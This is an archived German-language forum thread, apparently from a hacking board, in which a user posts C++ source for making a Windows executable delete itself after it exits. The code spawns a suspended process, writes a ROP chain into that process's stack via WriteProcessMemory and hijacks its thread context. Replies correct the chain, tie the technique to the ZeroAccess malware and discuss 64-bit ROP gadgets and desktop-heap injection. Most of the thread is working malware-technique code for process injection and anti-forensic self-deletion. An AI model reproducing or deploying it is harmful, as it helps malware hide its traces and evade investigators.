PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Self-deletion on win



wacked
04.11.2015, 23:40
// runpe test.cpp : Defines the entry point for the console application.//


#include <windows.h>
#include <cstdio>
#include <ntdll.h>
#include <stddef.h>
#pragma comment(lib, "ntdll.lib")


#define INVALID_HANDLE(h) (INVALID_HANDLE_VALUE == (h) || NULL == (h))


HANDLE get_current_file_handle()
{
WCHAR fileNameString[MAX_PATH] = {0};
UNICODE_STRING fileName = {0};
OBJECT_ATTRIBUTES obj = {0};
HANDLE fileHandle = INVALID_HANDLE_VALUE;
IO_STATUS_BLOCK io = {0};
NTSTATUS status;


GetModuleFileName(NULL, fileNameString, _countof(fileNameString));
if(!RtlDosPathNameToNtPathName_U(fileNameString, &fileName, NULL, NULL))
return INVALID_HANDLE_VALUE;
InitializeObjectAttributes(&obj, &fileName, OBJ_CASE_INSENSITIVE, 0, NULL);


status = NtOpenFile(&fileHandle, DELETE, &obj, &io,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_SUPERSEDE);
if(NT_ERROR(status))
{
printf("status = %X\n", status);
return INVALID_HANDLE_VALUE;
}

return fileHandle;
}


/*
\brief Writes the ROP chain at address.
The chain MUST start execution at NtWaitForSingleObject.
It will :
- Wait until this process has terminated.
- Then close the handle to this process.
- Mark the file of this process for deletion
- Close the handle to this file - which will trigger the
deletion.
- Exit.
\param process Process to write to
\param address Address to write to.
\fixme Maybe don't delete but overwrite with trash?
*/
bool write_ROP_chain(HANDLE process, DWORD address)
{
HANDLE duplicatedProcessHandle = INVALID_HANDLE_VALUE,
fileHandle = INVALID_HANDLE_VALUE;
DWORD written = 0;
bool success = false;
NTSTATUS status = ERROR_SUCCESS;
DWORD ropChain[] = {
// EIP = NtWaitForSingleObject
(DWORD)&NtClose, // Return address
0, // Own process handle
FALSE, // Alertable
NULL, // Timeout
// EIP = NtClose
(DWORD)&NtSetInformationFile, // Return address
0, // Own process handle
// EIP = NtSetInformationFile
(DWORD)&NtClose, // Return addr
0, // File handle
0, // Pointer to IoStatusBlock
0, // Pointer to FileInformation
sizeof(FILE_DISPOSITION_INFORMATION), // Length
FileDispositionInformation, // FILE_INFORMATION_CLASS
// EIP = NtClose
(DWORD)&RtlExitUserThread, // Ret. addr
0, // File handle
// EIP = RtlExitUserThread
STATUS_CANNOT_DELETE, // Shutdown reason


// FILE_DISPOSITION_INFORMATION structure
TRUE,
};


if(INVALID_HANDLE(process) || !address)
return false;

// Duplicate current process handle so the other process can wait on it
if(NT_ERROR(status = NtDuplicateObject(GetCurrentProcess(), GetCurrentProcess(), process,
&duplicatedProcessHandle, 0, 0, DUPLICATE_SAME_ACCESS)))
{
printf("Can't duplicate process handle: %X\n", status);
goto EXIT;
}
ropChain[1] = (DWORD)duplicatedProcessHandle; // NtWaitForSingleObject
ropChain[5] = (DWORD)duplicatedProcessHandle; // NtClose


if(INVALID_HANDLE_VALUE == (fileHandle = get_current_file_handle()))
{
printf("Can't get file handle: %X\n", GetLastError());
goto EXIT;
}


// This duplicates and closes the local handle of this file
if(NT_ERROR(status = NtDuplicateObject(GetCurrentProcess(), fileHandle, process, &fileHandle,
0, 0, DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS)))
{
printf("Can't duplicate file handle: %X\n", status);
goto EXIT;
}
ropChain[7] = (DWORD)fileHandle; // NtSetInformationFile
ropChain[13] = (DWORD)fileHandle; // NtClose


/* Setup IO_STATUS_BLOCK for NtSetInformationFile. As at this point a
large enough portion of the ROP chain has been executed and IO_STATUS_BLOCK
needs no special values so just use the top of chain */
ropChain[8] = (DWORD)address;


/* FileDispositionInformation needs a TRUE so we just add one at the
end of the ROP chain and make a pointer to it. */
ropChain[9] = (DWORD)address + (sizeof(ropChain) - sizeof(FILE_DISPOSITION_INFORMATION));


if(!WriteProcessMemory(process, (LPVOID)address, ropChain, sizeof(ropChain), &written) ||
sizeof(ropChain) != written)
{
printf("Couldn't write: %X\n", GetLastError());
goto EXIT;
}


success = true;
EXIT:
return success;
}




void entry()
{
CONTEXT ctx = {0};
_PROCESS_INFORMATION pi = {0};
STARTUPINFOA si = {0};
const char* FILE_TO_EXECUTE = "main.exe";
bool success = false;


si.cb = sizeof(STARTUPINFOA);
if(!CreateProcessA(FILE_TO_EXECUTE, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
goto EXIT;


ctx.ContextFlags = CONTEXT_ALL;
if(!GetThreadContext(pi.hThread, &ctx))
{
printf("Can't get thread context\n");
goto FINISH_OTHER_PROCESS;
}


printf("EAX: %X\tESP: %X\tEIP: %X\n", ctx.Eax, ctx.Esp, ctx.Eip);

/* ROP chain needs a certain size so just round ESP down to
page boundary - which is enough */
ctx.Esp &= ~0xFFF;
if(!write_ROP_chain(pi.hProcess, ctx.Esp))
{
printf("Can't overwrite stack\n");
goto FINISH_OTHER_PROCESS;
}


ctx.Eip = (DWORD)&NtWaitForSingleObject;
if(!SetThreadContext(pi.hThread, &ctx))
{
printf("Can't set thread context\n");
goto FINISH_OTHER_PROCESS;
}


success = true;


FINISH_OTHER_PROCESS:
if(success)
{
ResumeThread(pi.hThread);


/* For debugging this can be uncommented so you have time to
attach to the other process.
WaitForSingleObject(pi.hProcess, INFINITE); */
}
else
{
TerminateProcess(pi.hProcess, 0);
}


CLEANUP:
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
EXIT:
ExitProcess(0);
}

hoschi111
05.11.2015, 19:16
Bin kein C/Cpp'ler, aber sind "GOTOs" nicht ein "No-Go"?
#Wortwitz ist gewollt

Hu5eL
05.11.2015, 20:36
http://www.u.arizona.edu/~rubinson/copyright_violations/Go_To_Considered_Harmful.html

brootforce
05.11.2015, 22:55
Bin kein C/Cpp'ler, aber sind "GOTOs" nicht ein "No-Go"?
#Wortwitz ist gewollt

Manchmal ist es legit:

https://www.kernel.org/doc/Documentation/CodingStyle
Chapter 7: Centralized exiting of functions...
The rationale for using gotos is:

- unconditional statements are easier to understand and follow
- nesting is reduced
- errors by not updating individual exit points when making
modifications are prevented
- saves the compiler work to optimize redundant code away ;)
...

Der Code scheint von ZeroAccess zu sein:
http://zwclose7.createaforum.com/malware-and-hacking/self-deletion-function/

wacked
05.11.2015, 23:04
Richtig, beide snippets sind von mir (war aber nicht schwer, der [f-secure Artikel](https://www.f-secure.com/weblog/archives/00002385.html) ist ja fast c&p bereit) und ich hab hier einfach mal die erste Version gepostet

Johannes
29.11.2015, 18:37
In dem obrigen Code ist ein Fehler in der Chain drin. Aber den hast du wohl mit Absicht reingemacht um c&p auszuschließen?

Naja ist ja alles sehr elegant. Nur doof das man einen 32bit Prozess braucht... Auf einem 64-bit Windows kann das ein Problem sein. Den Code für 64bit fit machen ist nicht möglich weil andere Aufrufkonvention...

Fazit: Batch Skript ist immer noch sehr attraktiv ;-)

wacked
29.11.2015, 22:16
Tatsache, war mir gar nicht mehr bewusst. Immer noch nicht c&p fertig (aber es sollte erkennbar sein was zu ändern ist):

DWORD ropChain[] = { // EIP = NtWaitForSingleObject
(DWORD)&NtClose, // Return address
(DWORD)duplicatedProcessHandle, // Own process handle
FALSE, // Alertable
NULL, // Timeout
// EIP = NtClose
(DWORD)&NtSetInformationFile, // Return address
(DWORD)duplicatedProcessHandle, // Own process handle
// EIP = NtSetInformationFile
(DWORD)&NtClose, // Return addr
(DWORD)duplicatedFileHandle, // File handle
(DWORD)addressForROP, // Pointer to IoStatusBlock
// See above.
(DWORD)addressForROP, // Pointer to FileInformation
// Just needs a TRUE value
sizeof(FILE_DISPOSITION_INFORMATION), // Length
FileDispositionInformation, // FILE_INFORMATION_CLASS
// EIP = NtClose
(DWORD)&RtlExitUserThread, // Ret. addr
(DWORD)duplicatedFileHandle, // File handle
// EIP = RtlExitUserThread
STATUS_CANNOT_DELETE, // Shutdown reason
};

Das mit den Calling-conventionen stimmt nicht unbedingt. Ich hab es ehrlich gesagt nicht ausprobiert aber vielleicht gibt es


mov rcx, [rsp + 8]
ret

pop rdx

RET
und ähnliches (natürlich auch für r8 & r9) womit es dann doch möglich wäre.

Johannes
29.11.2015, 23:27
Ja gibt es bestimmt, aber dadurch wird es viel komplizierter und man muss die ROP gadgets dynamisch suchen um OS unabhängig zu sein....

Letztendlich wäre shellcode in C schreiben viel einfacher und weniger fehleranfällig, denn man dann auch injected und EIP/RIP umbiegt.

wacked
30.11.2015, 16:34
Absolut, wäre es, keine Frage. Allerdings hatte ich geplant WPM durch Sections zu erstetzen oder besser noch über Shared Desktop Heap (https://github.com/BreakingMalware/PowerLoaderEx) zu injecten - auch um mal zu testen ob es Probleme gibt wenn nur "Daten" in einen anderen Prozess geschrieben werden und niemals ausführbare Seiten.
Ist aus Faulheit aber nichts draus geworden...